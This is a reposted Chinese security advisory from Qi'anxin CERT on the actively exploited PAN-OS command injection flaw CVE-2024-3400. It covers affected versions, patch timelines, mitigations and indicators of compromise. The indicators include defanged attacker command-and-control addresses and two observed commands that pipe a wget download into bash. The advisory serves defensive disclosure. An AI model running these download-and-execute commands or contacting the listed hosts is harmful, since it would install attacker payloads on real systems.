【在野利用】Palo Alto Networks PAN-OS 命令注入漏洞(CVE-2024-3400)安全风险通告

admin 2024年4月16日03:03:24评论31 views字数 3065阅读10分13秒阅读模式

● 点击↑蓝字关注我们,获取更多安全风险通告

漏洞概述

漏洞名称

Palo Alto Networks PAN-OS 命令注入漏洞

漏洞编号

QVD-2024-13731,CVE-2024-3400

公开时间

2024-04-12

影响量级

十万级

奇安信评级

高危

CVSS 3.1分数

10.0

威胁类型

命令执行

利用可能性

POC状态

未公开

在野利用状态

已发现

EXP状态

未公开

技术细节状态

未公开

危害描述:未经身份验证的攻击者可能利用此漏洞在防火墙上以root权限执行任意代码。

01
漏洞详情
>>>>

影响组件

PAN-OS 是运行 Palo Alto Networks 下一代防火墙的软件。通过利用 PAN-OS 本机内置的关键技术(App-ID、Content-ID、设备 ID 和用户 ID),可以在任何时间、任何地点完全了解和控制所有用户和设备中正在使用的应用程序。

>>>>

漏洞描述

近日,奇安信CERT监测到Palo Alto Networks PAN-OS 命令注入漏洞(CVE-2024-3400),Palo Alto Networks PAN-OS 软件的 GlobalProtect 功能中针对特定 PAN-OS 版本和不同功能配置下,未经身份验证的攻击者可能利用此漏洞在防火墙上以root权限执行任意代码。目前该漏洞已发现在野利用

鉴于该漏洞影响范围较大,建议客户尽快做好自查及防护。

02
影响范围
>>>>

影响版本

PAN-OS 11.1.* < 11.1.2-h3
PAN-OS 11.0.* < 11.0.4-h1
PAN-OS 10.2.* < 10.2.9-h1
>>>>

其他受影响组件

03
受影响资产情况

奇安信鹰图资产测绘平台数据显示,Palo Alto Networks PAN-OS 命令注入漏洞(CVE-2024-3400)关联的国内风险资产总数为177053个,关联IP总数为2833个。国内风险资产分布情况如下:

【在野利用】Palo Alto Networks PAN-OS 命令注入漏洞(CVE-2024-3400)安全风险通告

Palo Alto Networks PAN-OS 命令注入漏洞(CVE-2024-3400)关联的全球风险资产总数为371798个,关联IP总数为60689个。全球风险资产分布情况如下:

【在野利用】Palo Alto Networks PAN-OS 命令注入漏洞(CVE-2024-3400)安全风险通告

04
处置建议
>>>>

安全更新

此问题已在 PAN-OS 10.2.9-h1、PAN-OS 11.0.4-h1、PAN-OS 11.1.2-h3 以及所有更高版本的 PAN-OS 版本中修复。还将提供其他常用部署的维护版本的修补程序来解决此问题。请参阅下面有关即将推出的修补程序详细信息:

PAN-OS 10.2:

- 10.2.9-h1 (Released 4/14/24)

- 10.2.8-h3 (ETA: 4/15/24)

- 10.2.7-h8 (ETA: 4/15/24)

- 10.2.6-h3 (ETA: 4/15/24)

- 10.2.5-h6 (ETA: 4/16/24)

- 10.2.3-h13 (ETA: 4/17/24)

- 10.2.1-h2 (ETA: 4/17/24)

- 10.2.2-h5 (ETA: 4/18/24)

- 10.2.0-h3 (ETA: 4/18/24)

- 10.2.4-h16 (ETA: 4/19/24)

PAN-OS 11.0:

- 11.0.4-h1 (Released 4/14/24)

- 11.0.3-h10 (ETA: 4/15/24)

- 11.0.2-h4 (ETA: 4/16/24)

- 11.0.1-h4 (ETA: 4/17/24)

- 11.0.0-h3 (ETA: 4/18/24)

PAN-OS 11.1:

- 11.1.2-h3 (Released 4/14/24)

- 11.1.1-h1 (ETA: 4/16/24)

- 11.1.0-h3 (ETA: 4/17/24)

请参阅发布说明:

https://security.paloaltonetworks.com/CVE-2024-3400

缓解方案:

具有威胁防护订阅的客户可以使用威胁 ID 95187(在应用程序和威胁内容版本 8833-8682 及更高版本中提供)阻止针对此漏洞的攻击。

要应用威胁 ID 95187,客户必须确保已将漏洞保护应用于其 GlobalProtect 界面,以防止在其设备上利用此问题。有关详细信息,请参阅:

https://live.paloaltonetworks.com/t5/globalprotect-articles/applying-vulnerability-protection-to-globalprotect-interfaces/ta-p/340184。

如果此时无法应用基于威胁防护的缓解措施,仍可以通过暂时禁用设备遥测来缓解此漏洞的影响,直到设备升级到固定的 PAN-OS 版本。升级后,应在设备上重新启用设备遥测。如果防火墙由 Panorama 管理,请确保在相关模板(Panorama > 模板)中禁用设备遥测。

有关如何临时禁用设备遥测的详细信息,请参阅以下页面:

https://docs.paloaltonetworks.com/pan-os/11-0/pan-os-admin/device-telemetry/device-telemetry-configure/device-telemetry-disable。

有关如何配置全景模板的详细信息,请参阅以下页面:

https://docs.paloaltonetworks.com/panorama/11-0/panorama-admin/manage-firewalls/manage-templates-and-template-stacks/add-a-template。

Indicators of Compromise

  • UPSTYLE Backdoor:

Update.py

3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac

5460b51da26c060727d128f3b3d6415d1a4c25af6a29fef4cc6b867ad3659078

  • Command and Control Infrastructure:

172.233.228[.]93

hxxp://172.233.228[.]93/policy

hxxp://172.233.228[.]93/patch

66.235.168[.]222

  • Hosted Python Backdoor:

144.172.79[.]92

nhdata.s3-us-west-2.amazonaws[.]com

  • Observed Commands:

wget -qO- hxxp://172.233.228[.]93/patch|bash

wget -qO- hxxp://172.233.228[.]93/policy | bash

05
参考资料

[1]https://security.paloaltonetworks.com/CVE-2024-3400

[2]https://unit42.paloaltonetworks.com/cve-2024-3400/

[3]https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

06
时间线

2024年4月15日,奇安信 CERT发布安全风险通告。

07

原文始发于微信公众号(奇安信 CERT):【在野利用】Palo Alto Networks PAN-OS 命令注入漏洞(CVE-2024-3400)安全风险通告

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月16日03:03:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【在野利用】Palo Alto Networks PAN-OS 命令注入漏洞(CVE-2024-3400)安全风险通告http://cn-sec.com/archives/2659613.html

发表评论

匿名网友 填写信息